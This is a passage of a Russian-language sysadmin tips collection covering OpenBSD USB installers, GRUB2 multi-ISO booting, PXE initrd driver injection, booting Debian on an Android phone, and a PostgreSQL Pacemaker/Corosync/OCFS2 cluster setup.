    
    
    В будущем, после обновления сервера может потребоваться обновить ключи для ssh и образ ltsp: 
       sudo ltsp-update-sshkeys
       sudo ltsp-update-image
    
     
    ----* Организация установки OpenBSD с USB Flash (доп. ссылка 1)   [обсудить]
     
    Задача: подготовить USB Flash (/dev/sd0) для установки с него OpenBSD.
    
    Создаем дисковые разделы на Flash:
    
       # fdisk -iy sd0
       Writing MBR at offset 0. 
    
       # disklabel -E sd0
       Label editor (enter '?' for help at any prompt)
    
    выводим список разделов на экран
       > p m
       OpenBSD area: 63-4160835; size: 2031.6M; free: 0.0M
       #                size           offset  fstype [fsize bsize  cpg]
         c:          2035.0M                0  unused                   
         i:          2031.6M               63   MSDOS                   
    
    удаляем существующий раздел
       > d *
    
    добавляем слайс "a"
       > a a
       offset: [63] 
       size: [4160772] 
       FS type: [4.2BSD] 
    
    выводим список разделов на экран
       > p m
    
       OpenBSD area: 63-4160835; size: 2031.6M; free: 0.0M
       #                size           offset  fstype [fsize bsize  cpg]
         a:          2031.6M               63  4.2BSD   2048 16384    1 
         c:          2035.0M                0  unused                   
    
    выходим и сохраняем изменения
       > q
       Write new label?: [y] y
    
    Создаем файловую систему:
    
       # newfs /dev/rsd0a/
    
    Проверяем целостность созданной ФС
    
       # fsck -fp /dev/rsd0a
    
    И наблюдаем страшные ошибки:
    
       dev/rsd0a: BAD SUPER BLOCK: VALUES IN SUPER BLOCK DISAGREE WITH THOSE IN LAST ALTERNATE
       /dev/rsd0a: UNEXPECTED INCONSISTENCY; RUN fsck_ffs MANUALLY.
    
    Как ни странно решить эту проблему помогает предварительная чистка всего содержимого Flash:
    
       tr '\000' '\377' < /dev/zero | dd bs=16384 of=/dev/rsd0c
    
    Если fsck не показал каких-либо ошибок, монтируем созданный раздел и копируем
    на него ядро и компоненты базовой системы:
    
       # mount /dev/sd0a /mnt
       # cp /usr/mdec/boot /mnt
       # cp bsd.rd /mnt/bsd
    
    Устанавливаем загрузчик:
    
       # /usr/mdec/installboot -v /mnt/boot /usr/mdec/biosboot sd0
    
       boot: /mnt/boot proto: /usr/mdec/biosboot device: /dev/rsd0c
    /mnt/boot is 3 blocks x 16384 bytes
       fs block shift 2; part offset 63; inode block 24, offset 936
    using MBR partition 3: type 0xA6 offset 63
    
    Создаем директорию вида "4.6/i386" и копируем в нее установочные файлы:
    
       # mkdir -p /mnt/4.6/i386
       # cd /mnt/4.6/i386
       # wget "ftp://ftp.openbsd.org/pub/OpenBSD/4.6/i386/*"
    
    Проверяем целостность загруженных данных
    
       # cd /mnt/4.6/i386
       # for i in *; do grep -e "($i)" SHA256 >> ../sha ; done;
       # cksum -c ../sha || echo "FAILED!!!"
    
    Отмонтируем и еще раз проверяем:
    
       # umount /mnt
       # fsck -fp /dev/rsd0a
       /dev/rsd0a: 3 files, 3047 used, 964509 free (13 frags, 120562 blocks, 0.0% fragmentation)
    
    Установочный Flash готов. Для начала установки после загрузки Flash в ответ на
    приглашение "boot>" необходимо ввести "bsd.rd".
    
     
    ----* Загрузка нескольких iso-образов с одного USB Flash c файловой системой VFAT (доп. ссылка 1)   [комментарии]
     
    В Grub2 появилась возможность прямой загрузки iso-образов с диска, что удобно
    использовать для организации загрузки нескольких LiveCD-дистрибутивов с USB Flash.
    
    Предположим, что USB Flash в системе виден как /dev/sdb
    
    Создаем на Flash файловую систему (если не создана):
    
       sudo mkfs.vfat -n "имя метки, 11 cимволов" /dev/sdb1
     
    Монтируем:
    
       mount /dev/sdb1 /mnt/
     
    Устанавливаем загрузчик Grub2 (если в системе Grub1, можно загрузиться,
    например, с последней версии Ubuntu LiveCD):
    
       grub-install --no-floppy --root-directory=/mnt /dev/sdb
     
     
    Создаем файл конфигурации Grub /mnt/boot/grub/grub.cfg (в примере перенос через
    "\" нужно объединить в одну строку):
    
       menuentry "Ubuntu Live 9.10 32bit" {
        loopback loop /boot/iso/ubuntu-9.10-desktop-i386.iso
        linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/boot/iso/ubuntu-9.10-desktop-i386.iso noeject noprompt --
        initrd (loop)/casper/initrd.lz
       }
      
       menuentry "Grml small 2009.10" {
         loopback loop /boot/iso/grml-small_2009.10.iso
         linux (loop)/boot/grmlsmall/linux26 findiso=/boot/iso/grml-small_2009.10.iso apm=power-off \
             lang=us vga=791 boot=live nomce noeject noprompt --
         initrd (loop)/boot/grmlsmall/initrd.gz
       }
     
       menuentry "tinycore" {
         loopback loop /boot/iso/tinycore_2.3.1.iso
         linux (loop)/boot/bzImage --
         initrd (loop)/boot/tinycore.gz
       }
    
       menuentry "partmagic" {
         loopback loop /boot/iso/pmagic-3.4.iso
         linux (loop)/pmagic/bzImage iso_filename=/boot/iso/pmagic.iso load_ramdisk=1 prompt_ramdisk=0 \
            ramdisk_size=25000 root=/dev/ram0 livecd boot=live quiet vga=791 noeject noprompt sleep=0 tmpfs_size=220M
         initrd (loop)/pmagic/initramfs
       }
    
       menuentry "Netinstall 32 preseed" {
         loopback loop /boot/iso/mini.iso
         linux (loop)/linux auto url=http://www.panticz.de/pxe/preseed/preseed.seed locale=en_US \
            console-setup/layoutcode=de netcfg/choose_interface=eth0 debconf/priority=critical --
         initrd (loop)/initrd.gz
       }
     
       menuentry "debian-installer-amd64.iso" {
         loopback loop /boot/iso/debian-installer-amd64.iso
         linux (loop)/linux vga=normal --
         initrd (loop)/initrd.gz
       }
     
     
    Создаем директорию /mnt/boot/iso и копируем в нее упомянутые в конфигурации iso-образы:
    
       mkdir /mnt/boot/iso
    
       wget http://ftp.uni-kl.de/pub/linux/ubuntu.iso/9.10/ubuntu-9.10-desktop-i386.iso -P /mnt/boot/iso
       ...
    
    Отмонтируем  Flash и пробуем загрузиться 
    
       umount /mnt/
     
    
     
    ----* Мгновенная перезагрузка Linux при помощи kexec   [комментарии]
     
    В репозиториях Debian/Ubuntu/Fedora/RHEL можно найти пакет kexec-tools, дающий
    возможность быстрой перезагрузки через обновление ядра в памяти, без
    задействования фазы с участием BIOS.
    
    Ставим kexec-tools в Debian/Ubuntu:
    
       apt-get install kexec-tools
    
    После установки пакета автоматически при перезагрузке будет использован вызов
    kexec. Чтобы отключить kexec необходимо в файле конфигурации /etc/default/kexec
    установить LOAD_KEXEC=false
    
    
    В RHEL/Fedora установка производится аналогичным способом:
    
       yum install kexec-tools
    
    Замена текущего ядра в ручном режиме.
    
    Читаем ядро в память:
       kexec -l /boot/vmlinuz --initrd=/boot/initrd.img --command-line="`cat /proc/cmdline`"
    
    Переводим управление на загруженное на прошлом этапе ядро:
       kexec -e
    
     
    ----* Добавление драйвера в образ сетевой установки (PXE) CentOS 5.X   Автор: Victor Leschuk  [обсудить]
     
    Бывают ситуации, когда самый простой способ поставить систему на машину - с
    использование PXE сервера и FTP/HTTP/NFS.
    В случае, если в загрузочном образе для PXE отсутствует необходимый драйвер для
    сетевой карты или SCSI придется его
    добавлять вручную, пересобирая рамдиск. 
    
    В данном примере будем добавлять драйвер atl1 в образ Centos 5.3. 
    Далее приведен краткий список шагов и команд.
    
    1. Определение нужного устройства.
    
    Загружаемся с PXE и видим, что не обнаружилась сетевая карта
    
    Берем образ любой Linux системы, грузимся с него и смотрим вывод lspci. 
    В нашем случае сетевой карточкой оказалось устройство  1969:1048 - сетевая карточка Atheros.
    
    Драйвер для этого устройства - atl1e.
    
    2. Собираем на какой-либо машине модуль под то ядро, которое присутствует в образе. 
    Узнать версию, не загружаясь, можно например так:  
    
       dd if=vmlinuz bs=512 count=1|xxd
    
    В моем случае это 2.6.18-128.el5 x86_64. На сборочной машине пакет gcc должен быть той же версии, 
    которой собиралось ядро (здесь это gcc-4.1). Собирается модуль примерно так: 
    
       # cd /usr/src/kernels/2.6.18-128.el5-x86_64/
       # make modules M=/usr/src/atl1-1.2.40.2-1.nodist.rf/
       ...
       LD [M]  /usr/src/atl1-1.2.40.2-1.nodist.rf/atl1.ko
    
    Здесь /usr/src/atl1-1.2.40.2-1.nodist.rf - директория с исходными кодами модуля, 
    а /usr/src/kernels/2.6.18-128.el5-x86_64/ - с исходными кодами ядра (необходимо
    поставить соответствующий пакет kernel-devel).
    
    3. Распаковываем рамдиск и добавляем туда модуль: 
       $ mkdir unpack
       $ cd $_
       $ gunzip < /var/lib/tftpboot/centos53/initrd.img | cpio -i --make-directories
       $ cd modules
       $ mkdir tmp
       $ cd $_
       $ gunzip < ../modules.cgz|cpio -i --make-directories
       $  cd 2.6.18-128.el5/x86_64/
       $ cp /path/to/atl1.ko .
       $ cd ../../../
       $ mv modules.cgz ~/modules.cgz.saved
       $ find ./tmp/2.6.18-128.el5/ -print | cpio -o -Hnewc|gzip -c9 > modules.cgz
       $ rm -rf ./tmp
    
    4. Теперь надо добавить информацию о модуле в файлы modules.alias и module-info: 
    
       $ /sbin/modinfo /path/to/atl1.ko |grep alias
       alias:          pci:v00001969d00001048sv*sd*bc*sc*i*
    
       $ echo $(/sbin/modinfo /path/to/atl1.ko |grep alias) atl1 >> modules.alias
    
    Прописываем информацию о модуле в файл module-info, чтобы потом можно было
    подгрузить драйвер из меню.
    Добавляем следующие строчки: 
    
       atl1
       eth
       "Atheros L1 Gigabit Ethernet Driver "
    
    5. Запаковываем рамдиск: 
    
       $ cd ..
       $ find . -print | cpio -o -Hnewc|gzip -c9 > ../initrd_updated.img
    
    6. Правим конфигурацию pxelinux, подкладываем в папку с образами новый рамдиск и ставим систему. 
    
     
    ----* Фиксация номеров устройств для нескольких одинаковых карт в Linux (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Проблема: Несколько DVB карт при перезагрузке менялись местами в произвольном порядке. 
    
    Решение: зафиксировать эти карты на своих местах через написание udev правила.
    
    Итак, смотрим параметры каждой из карт:
    
       udevinfo -a -n /dev/dvb/adapter0/frontend0
    
       looking at device '/class/dvb/dvb0.frontend0':
        KERNEL=="dvb0.frontend0"
        SUBSYSTEM=="dvb"
        DRIVER==""
    
       looking at parent device '/devices/pci0000:00/0000:00:1e.0/0000:02:00.0':
        KERNELS=="0000:02:00.0"
        SUBSYSTEMS=="pci"
        DRIVERS=="b2c2_flexcop_pci"
        ATTRS{vendor}=="0x13d0"
        ATTRS{device}=="0x2103"
        ATTRS{subsystem_vendor}=="0x13d0"
        ATTRS{subsystem_device}=="0x2103"
        ATTRS{class}=="0x028000"
        ...
    
    Создаем файл /etc/udev/rules.d/10-local.rules с содержимым (фиксация по параметру "KERNELS"):
    
       SUBSYSTEM=="dvb", KERNELS=="0000:02:00.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter0/%%s $${K#*.}'", NAME="%c", GROUP="video"
       SUBSYSTEM=="dvb", KERNELS=="0000:02:02.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter1/%%s $${K#*.}'", NAME="%c", GROUP="video"
    
     
    ----* Смена стандартной заставки для меню GRUB в OpenSuse 11.0 (доп. ссылка 1)   Автор: Arturius  [комментарии]
     
    Дано:
    Система Open Suse 11.0
    
    Задача:
    Необходимо поставить более интересный и красивый выбор системы загрузок Grub.
    
    Решение:
    Открыть терминал.
       alt+f2 gnome-terminal или Xterm
    
    Получаем права суперпользователя
       su root
    
    Устанавливаем gfxboot, если он не установлен
       yast --install gfxboot
    
    Переходим в папку с загрузчиком
       cd /boot
    
    делаем бэкап
       cp message message.old
    
    создаём директорию
       mkdir messagetemp
    
    переходим в неё
       cd messagetemp
    
    распаковываем message
    
       cpio -iv < /boot/message
    
    Запускаем редактор
    
       vim gfxboot.cfg
    
    Затем нажимаем ins и редактируем, заменяем:
       penguin=0
    на 
       penguin=100
    
    выходим из режима редактирования нажимая Esc, вводим команду :wq
    запаковываем
       ls | cpio -ov > /boot/message
    
    перезагружаемся и радуемся...
    
     
    ----* Как минимизировать проблемы при перезагрузке зависшего Linux (доп. ссылка 1)   Автор: arsgeek.com  [комментарии]
     
    Если консоль зависла, машина работает, но не откликается на CTRL-ALT-BKSPC,
    ALT-CTRL-F1, CTRL-ALT-DEL
    и по сети зайти на машину тоже нет возможности.
    
    "ALT + SysReq + r" - перевести клавиатуру в Raw режим.
    "ALT + SysReq + s" - сбросить буферы FS на диск (может занять много времени,
    если система сильно загружена).
    "ALT + SysReq + e" - отправить сигнал завершения работы процессам.
    "ALT + SysReq + i" - принудительно убить процессы не желающие завершить работу по сигналу KILL.
    'ALT + SysReq + u' - отмонтировать дисковые разделы.
    'ALT + SysReq + b' - перезагрузить машину.
    
    
    PS. Клавиша SysReq совпадает с Print Screen.
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как создать файл устройства для монтирования раздела диска.   [обсудить]
     
    Linux IDE              #  Linux SCSI      #  FreeBSD 4
    mknod /dev/hda b 3 0   # /dev/sda b 8 0   # /dev/ad0 b 116 0x00010002
    mknod /dev/hda1 b 3 1  # /dev/sda1 b 8 1  # /dev/ad0s1 b 116 0x00020002
    mknod /dev/hda2 b 3 2  # /dev/sda2 b 8 2  # /dev/ad0s1a b 116 0x00020000
    mknod /dev/hdb b 3 64  # /dev/sdb b 8 16  # /dev/ad0s1b b 116 0x00020001
    mknod /dev/hdb1 b 3 65 # /dev/sdb1 b 8 17 # /dev/ad0s1c b 116 0x00020002
    mknod /dev/hdc b 22 0  # /dev/sdc b 8 32  # /dev/ad1s1a b 116 0x00020008
    mknod /dev/hdd b 22 64 # /dev/sdd b 8 48  # /dev/da1s1a b 13 0x00020000
    
     
    ----* Как в Linux после kernel panic вместо ожидания действия оператора автоматически выполнять перезагрузку.   [комментарии]
     
    Добавьте в /etc/rc.d/rc.local:
        echo 1 > /proc/sys/kernel/panic
    Т.е. перезагрузка будет выполнена через 1 сек. после panic, если 0 - то не перезагружать а ждать.
    
     
    ----* Как в FreeBSD запретить свободный вход как root с консоли через boot -s   [обсудить]
     
    В /etc/ttys поменяйте secure на insecure в строке:
         console none   unknown off secure
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Запуск Linux на Android-телефоне с SD-карты без перепрошивки   Автор: Павел Отредиез  [комментарии]
     
    В данной заметке рассказано как запустить ванильный Debian Linux на телефоне не
    прошивая его и не портя установленный Android.
    Мой подопытный аппарат Xiaomi Redmi note 11. Телефон не нужно рутовать,
    достаточно разблокировать загрузчик. Запускать будем с помощью fastboot (да для
    каждого запуска потребуется подключать телефон к компьютеру), а рутовую
    файловую систему будем подцеплять с SD-карты.
    
    Настройка среды
    
    Создадим рабочий каталог:
    
       mkdir ~/redmi11
       cd ~/redmi11/
    
    
    Скачаем нужное ПО:
     
       sudo apt install qemu-user-static
       sudo apt build-dep linux-source
       git clone https://android.googlesource.com/platform/system/tools/mkbootimg
       git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9
       cd aarch64-linux-android-4.9
       git switch android-msm-barbet-4.19-android12-qpr1
       cd ~/redmi11/
    
    , так же https://developer.android.com/tools/releases/platform-tools в каталог ./platform-tools.
    
    Пропишем для удобства работы пути в ./path.sh:
    
       export PATH=$PATH:$(pwd)/mkbootimg:$(pwd)/platform-tools
    
    Подключим пути в текущий bash:
    
       . path.sh
    
    
    Ядро
    
    В ядре, которое идёт в составе Android, выключены некоторые важные подсистемы,
    поэтому загрузиться с ним по-простому не получится и надо компилировать свою версию.
    
    Надо найти исходники ядра для своего телефона, для Xiaomi с этим почти нет проблем.
    
       git clone https://github.com/MiCode/Xiaomi_Kernel_OpenSource.git
       cd Xiaomi_Kernel_OpenSource/
       git switch spes-r-oss
    
    Для моей версии отсутствовал каталог techpack, он должен был быть, и ядро не
    собиралось до конца. Я нашёл techpack в аналогичной версии исходников на
    GitHub. Надо сказать, что исходники ядра Xiaomi имеют много мелких ошибок,
    связанных с включением "" <> хидеров и прочего. Я их все муторно правил, пока
    не добился компиляции без ошибок.
    Получим конфиг ядра с телефона, для этого подключим его к компьютеру и выполним:
    
       adb shell zcat /proc/config.gz > .config
    
    Сделаем два скрипта - для конфигурации ядра и для компиляции.
    ./menuconfig.sh:
    
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make menuconfig
    
    ./build.sh:
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make -j 8 targz-pkg
    
    Теперь изменим кофигурацию ядра и скомпилируем его. Во-первых в нем отключена
    поддержка devtmpfs, включим её
    
       CONFIG_DEVTMPFS=y
    
    Включим виртуальные консоли:
    
       CONFIG_TTY=y
       CONFIG_VT=y
       CONFIG_CONSOLE_TRANSLATIONS=y
       CONFIG_VT_CONSOLE=y
    
    Фрэймбуфер:
    
       CONFIG_DRM_FBDEV_EMULATION=y
       CONFIG_FRAMEBUFFER_CONSOLE=y
    
    Чтобы консоль не заваливало сообщениями ядра:
    
      CONFIG_CONSOLE_LOGLEVEL_DEFAULT=4
      CONFIG_CONSOLE_LOGLEVEL_QUIET=3
      CONFIG_MESSAGE_LOGLEVEL_DEFAULT=3
    
    
    ROOT файловая система
    Используем debootstrap для получения файловой системы:
    
       cd ~/redmi11/
       mkdir rootfs
       sudo debootstrap --arch=arm64 stable ./rootfs http://mirror.yandex.ru/debian
       sudo chroot rootfs/ tasksel install gnome-desktop
    
    Скопируем полученное ядро в ./rootfs/boot и модули если есть в ./rootfs/lib/modules.
    
    Отредактируем ./rootfs/etc/fstab:
    
       LABEL=debian	/	ext4	rw,defaults,noatime,nodiratime	0 1
    tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,mode=1777
    
    Создадим initrd:
    
       sudo chroot rootfs/ apt install initramfs-tools
       sudo mount --bind /dev rootfs/dev
       sudo chroot rootfs/ update-initramfs -k all -c
       sudo umount rootfs/dev
    
    Теперь для удобства сделаем образ нашей файловой системы, для этого используем скрипт install.sh:
    
       #!/bin/sh
    
       mkdir -p mnt
       dd if=/dev/zero of=debian-arm64.ext4 bs=4096 count=2097152 #8Gb
    /sbin/mkfs.ext4 -L debian -O^has_journal debian-arm64.ext4
       sudo mount -o loop debian-arm64.ext4 ./mnt
       sudo cp -ar ./rootfs/* ./mnt/ 
       sudo umount ./mnt
    
    На SD карточке у меня два раздела - первый FAT32, и второй под Linux. Запишем образ на SD карточку:
    
       sudo dd if=debian-arm64.ext4 of=/dev/YourSD2 bs=512 status=progress
       sudo partprobe
       sudo resize2fs /dev/YourSD2
    
    
    Запуск
    
    Для запуска нам нужно подготовить Android boot image, используем скрипт mkbootimg.sh:
    
       mkbootimg.py \
       --header_version 3 \
       --os_version 12.0.0 \
       --os_patch_level 2023-04 \
       --kernel ./rootfs/boot/vmlinuz-4.19.157-tiny \
       --ramdisk ./rootfs/boot/initrd.img-4.19.157-tiny \
       --cmdline 'console=tty0 quiet root=LABEL=debian rootwait' \
       --board '' \
       -o boot-debian.img
    
    
    Здесь мы запускаем ядро с rootfs с меткой "debian", как мы и делали образ файловой системы.
    
    Теперь собственно запуск. Подключим телефон к компьютеру и выполним (не бойтесь
    ничего не записывается на него):
    
       adb reboot bootloader
       fastboot boot boot-debian.img
    
    
    P.S. А с драйверами я не разобрался.
    
     
    ----* Как обновить код загрузчика в FreeBSD   [комментарии]
     
    Ставим boot-менеджер в MBR:
        boot0cfg /dev/ad0
        или fdisk -B -b /boot/boot0 /dev/ad0
    
    Обновляем boot-loader (boot1 и boot2):
        disklabel -B ad0s1
    
     

       Кластерные технологии

    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey 